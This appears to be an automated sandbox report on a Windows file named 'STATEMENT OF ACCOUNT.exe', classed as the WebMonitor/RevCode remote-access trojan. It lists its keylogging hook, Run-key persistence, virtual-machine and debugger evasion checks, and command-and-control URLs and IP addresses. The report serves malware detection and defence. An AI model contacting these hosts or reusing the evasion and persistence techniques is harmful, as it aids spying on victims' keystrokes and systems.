Play interactive tour

Edit tour

Windows Analysis Report STATEMENT OF ACCOUNT.exe

Overview

General Information

Sample Name:	STATEMENT OF ACCOUNT.exe
Analysis ID:	462604
MD5:	d39da4595ca51a748ac33447965d80e3
SHA1:	e7e0ec21e7cb1d67c906169e6e039d4b29c423c7
SHA256:	77732e74850050bb6f935945e510d32a0499d820fa1197752df8bd01c66e8210
Tags:	exeRevCodeRAT
Infos:
Most interesting Screenshot:

Detection

WebMonitor RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected WebMonitor RAT

Contain functionality to detect virtual machines

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to register a low level keyboard hook

Creates autostart registry keys with suspicious names

Installs a global keyboard hook

Machine Learning detection for sample

Maps a DLL or memory area into another process

Potentially malicious time measurement code found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

STATEMENT OF ACCOUNT.exe (PID: 6500 cmdline: 'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe' MD5: D39DA4595CA51A748AC33447965D80E3)

STATEMENT OF ACCOUNT.exe (PID: 6524 cmdline: 'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe' MD5: D39DA4595CA51A748AC33447965D80E3)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.659795445.0000000002E80000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
Process Memory Space: STATEMENT OF ACCOUNT.exe PID: 6500	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.STATEMENT OF ACCOUNT.exe.2e80000.2.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
1.2.STATEMENT OF ACCOUNT.exe.400000.0.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
1.2.STATEMENT OF ACCOUNT.exe.400000.0.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
0.2.STATEMENT OF ACCOUNT.exe.2e80000.2.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: STATEMENT OF ACCOUNT.exe	Virustotal: Detection: 47%			Perma Link
Source: STATEMENT OF ACCOUNT.exe	ReversingLabs: Detection: 32%

Machine Learning detection for sample

Show sources

Source: STATEMENT OF ACCOUNT.exe

Joe Sandbox ML: detected

Source: STATEMENT OF ACCOUNT.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.4:49764 version: TLS 1.2

Source: STATEMENT OF ACCOUNT.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: STATEMENT OF ACCOUNT.exe, 00000000.00000003.654835931.0000000003100000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: STATEMENT OF ACCOUNT.exe, 00000000.00000003.654835931.0000000003100000.00000004.00000001.sdmp

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2032361 ET TROJAN WebMonitor/RevCode RAT CnC Domain in DNS Lookup 192.168.2.4:62833 -> 8.8.8.8:53

Source: Joe Sandbox View	IP Address: 194.58.200.20 194.58.200.20
Source: Joe Sandbox View	IP Address: 45.153.186.90 45.153.186.90

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114

Source: unknown

DNS traffic detected: queries for: sdns.se

Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.768481004.0000000001137000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.766940859.0000000003D01000.00000004.00000001.sdmp	String found in binary or memory: http://crl.microsoft.c
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918585565.00000000010AD000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918585565.00000000010AD000.00000004.00000020.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.765841135.00000000039CD000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?60c66237c4d3d
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.766601717.0000000001174000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?60c66237c4
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	String found in binary or memory: https://0.0.0.0/recv5.php-Z
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	String found in binary or memory: https://0/recv5.php
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	String found in binary or memory: https://0/recv5.php9
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	String found in binary or memory: https://0/recv5.phpK
Source: STATEMENT OF ACCOUNT.exe, STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918585565.00000000010AD000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/d27bc.bin
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.775716221.0000000003D4C000.00000004.00000001.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.php
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.775716221.0000000003D4C000.00000004.00000001.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.php-29.c
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918585565.00000000010AD000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpH
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.920097457.0000000003D4A000.00000004.00000001.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpM
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.775716221.0000000003D4C000.00000004.00000001.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpMft.c
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918677277.0000000001132000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpZ
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpd
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpp

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown

HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.4:49764 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to register a low level keyboard hook

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_0043656A SetWindowsHookExW 0000000D,0043527C,00000000

1_2_0043656A

Installs a global keyboard hook

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Jump to behavior

Source: STATEMENT OF ACCOUNT.exe, 00000000.00000002.659649185.00000000014EA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_004382E8 NtQueryInformationProcess,

1_2_004382E8

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_2_004AFFF3	1_2_004AFFF3
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_2_004B5179	1_2_004B5179
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_2_0043C25A	1_2_0043C25A
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_2_004A444D	1_2_004A444D
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_2_004A467C	1_2_004A467C

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: String function: 0049D90B appears 60 times

Source: STATEMENT OF ACCOUNT.exe, 00000000.00000003.656815299.000000000331F000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs STATEMENT OF ACCOUNT.exe
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.919867663.0000000003BB0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs STATEMENT OF ACCOUNT.exe
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918520649.0000000001020000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs STATEMENT OF ACCOUNT.exe
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.919607135.0000000003800000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs STATEMENT OF ACCOUNT.exe
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.919853816.0000000003BA0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs STATEMENT OF ACCOUNT.exe
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.919644276.0000000003950000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs STATEMENT OF ACCOUNT.exe

Source: STATEMENT OF ACCOUNT.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@25/2

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_00447818 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,AdjustTokenPrivileges,

1_2_00447818

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 0_2_01351000 memcpy,VirtualProtect,GetDC,GrayStringW,GetCommandLineW,CommandLineToArgvW,GetFullPathNameW,wcsrchr,RegOpenKeyW,RegQueryValueW,RegCloseKey,lstrcatW,RegOpenKeyW,RegQueryValueW,RegCloseKey,CLSIDFromProgID,CoInitialize,CoCreateInstance,LoadTypeLib,CreateFileW,GetFileSize,CreateFileMappingW,CloseHandle,MapViewOfFile,CloseHandle,MultiByteToWideChar,SysAllocStringLen,MultiByteToWideChar,UnmapViewOfFile,SysFreeString,CoUninitialize,CoUninitialize,

0_2_01351000

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

File created: C:\Users\user\Desktop\d70d27bc.bin

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Mutant created: \Sessions\1\BaseNamedObjects\4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O2.00

Source: STATEMENT OF ACCOUNT.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: STATEMENT OF ACCOUNT.exe	Virustotal: Detection: 47%
Source: STATEMENT OF ACCOUNT.exe	ReversingLabs: Detection: 32%

Source: STATEMENT OF ACCOUNT.exe	String found in binary or memory: </install>
Source: STATEMENT OF ACCOUNT.exe	String found in binary or memory: <install>N/A</install>
Source: STATEMENT OF ACCOUNT.exe	String found in binary or memory: IN-ADDR.ARPA

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

File read: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe 'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe'
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Process created: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe 'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe'
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Process created: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe 'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe'	Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: STATEMENT OF ACCOUNT.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: STATEMENT OF ACCOUNT.exe, 00000000.00000003.654835931.0000000003100000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: STATEMENT OF ACCOUNT.exe, 00000000.00000003.654835931.0000000003100000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_3_0115A94C push esi; retf	1_3_0115A94F
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_3_01158D87 push esi; retf	1_3_01158D8A
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_3_01153D83 push ds; retf	1_3_01153D84
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_3_0115A1A2 push ss; retf	1_3_0115A1AD
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_3_011585EC push ss; retf	1_3_011585F0
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 1_2_0040585D push esi; ret	1_2_00405866

Boot Survival:

Creates autostart registry keys with suspicious names

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-8f0e

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-8f0e			Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-8f0e			Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Malware Analysis System Evasion:

Contain functionality to detect virtual machines

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: VMwareVMware VBoxVBoxVBox

1_2_00438696

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: STATEMENT OF ACCOUNT.exe

Binary or memory string: WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

RDTSC instruction interceptor: First address: 0000000000438426 second address: 0000000000438430 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 call dword ptr [004F0034h] 0x0000000a jmp dword ptr [73BE10C0h] 0x00000010 mov eax, dword ptr fs:[00000030h] 0x00000016 mov eax, dword ptr [eax+18h] 0x00000019 ret 0x0000001a rdtsc

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Memory allocated: 3510000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Memory allocated: 3510000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Memory allocated: 3510000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Memory allocated: 3510000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_00438418 rdtsc

1_2_00438418

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Window / User API: threadDelayed 6532

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe TID: 6528

Thread sleep count: 6532 > 30

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Last function: Thread delayed

Source: STATEMENT OF ACCOUNT.exe	Binary or memory string: Hyper-V
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp	Binary or memory string: Cx</block><block><block></block></block><block></data></data><block>.bin\</date>%Y-%m-%d %I:%M:%S<date><data><title></title>{F1}{F2}{F3}{F4}{F5}{F6}{F7}{F8}{F9}{F10}{F11}{F12}{F13}{F14}{F15}{F16}{NUMPAD_0}{NUMPAD_1}{NUMPAD_2}{NUMPAD_3}{NUMPAD_4}{NUMPAD_5}{NUMPAD_6}{NUMPAD_7}{NUMPAD_8}{NUMPAD_9}{NUMPAD_MULTIPLY}{NUMPAD_ADD}{NUMPAD_SEPARATOR}{NUMPAD_SUBTRACT}{NUMPAD_DECIMAL}{NUMPAD_DIVIDE}{ENTER}{CTRL} {SHIFT}{CAPSLOCK}{ESC}{MENU}{HELP}{CLEAR}{TAB}{BACKSPACE}{PRTSCR}{SELECT}{EXECUTE}{SCROLL}{PAUSE}{INS}{HOME}{PAGEUP}{PAGEDOWN}{DEL}{END}{UP}{DOWN}{LEFT}{RIGHT}{NUMLOCK}KEYLOG: KEYLOG STEAM SENT: send_keylog_stream_data</block><block></block><block>kernel32.dllKernel32.dllNtQueryInformationProcessNTDLL.DLLSYSTEM\CurrentControlSet\Control\Terminal Server\GlassSessionIdKVMKVMKVMMicrosoft HvVMwareVMwareXenVMMXenVMMprl hyperv VBoxVBoxVBoxROOT\CIMV2SELECT * FROM Win32_VideoControllerCaptionHyper-VMicrosoft Basic Display AdapterVMWare%ThisIsAnInvalidEnvironmentVariableName?[]<>@\;!-{}#:/~%%ThisIsAnInvalidFileName?[]<>@\;!-{}#:/~%VirtualAlloc failed. Last error: %u
Source: STATEMENT OF ACCOUNT.exe	Binary or memory string: VMwareVMware
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: STATEMENT OF ACCOUNT.exe	Binary or memory string: VMWare

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_00438DCE CheckRemoteDebuggerPresent,

1_2_00438DCE

Potentially malicious time measurement code found

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_00438418 Start: 0043843C End: 00438430

1_2_00438418

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_00438418 rdtsc

1_2_00438418

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 0_2_011306DA mov eax, dword ptr fs:[00000030h]	0_2_011306DA
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 0_2_0113099F mov eax, dword ptr fs:[00000030h]	0_2_0113099F
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 0_2_011309DE mov eax, dword ptr fs:[00000030h]	0_2_011309DE
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 0_2_01130A1C mov eax, dword ptr fs:[00000030h]	0_2_01130A1C
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: 0_2_011308EE mov eax, dword ptr fs:[00000030h]	0_2_011308EE

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Memory protected: page execute and read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Section loaded: unknown target: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe protection: execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Process created: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe 'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe'

Jump to behavior

Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.775724321.0000000001152000.00000004.00000001.sdmp	Binary or memory string: 192.168.2.4\|579569\|user\|1\|Microsoft Windows 10 Professional (x64)\|8f0e501d05e88618d0bfe5e70f5591b2\|0\|Program Manager\|92\|2.00W
Source: STATEMENT OF ACCOUNT.exe	Binary or memory string: 192.168.2.4\|579569\|user\|1\|Microsoft Windows 10 Professional (x64)\|8f0e501d05e88618d0bfe5e70f5591b2\|0\|Program Manager\|
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000003.768481004.0000000001137000.00000004.00000001.sdmp	Binary or memory string: Program Managerd
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918842115.00000000016F0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918842115.00000000016F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
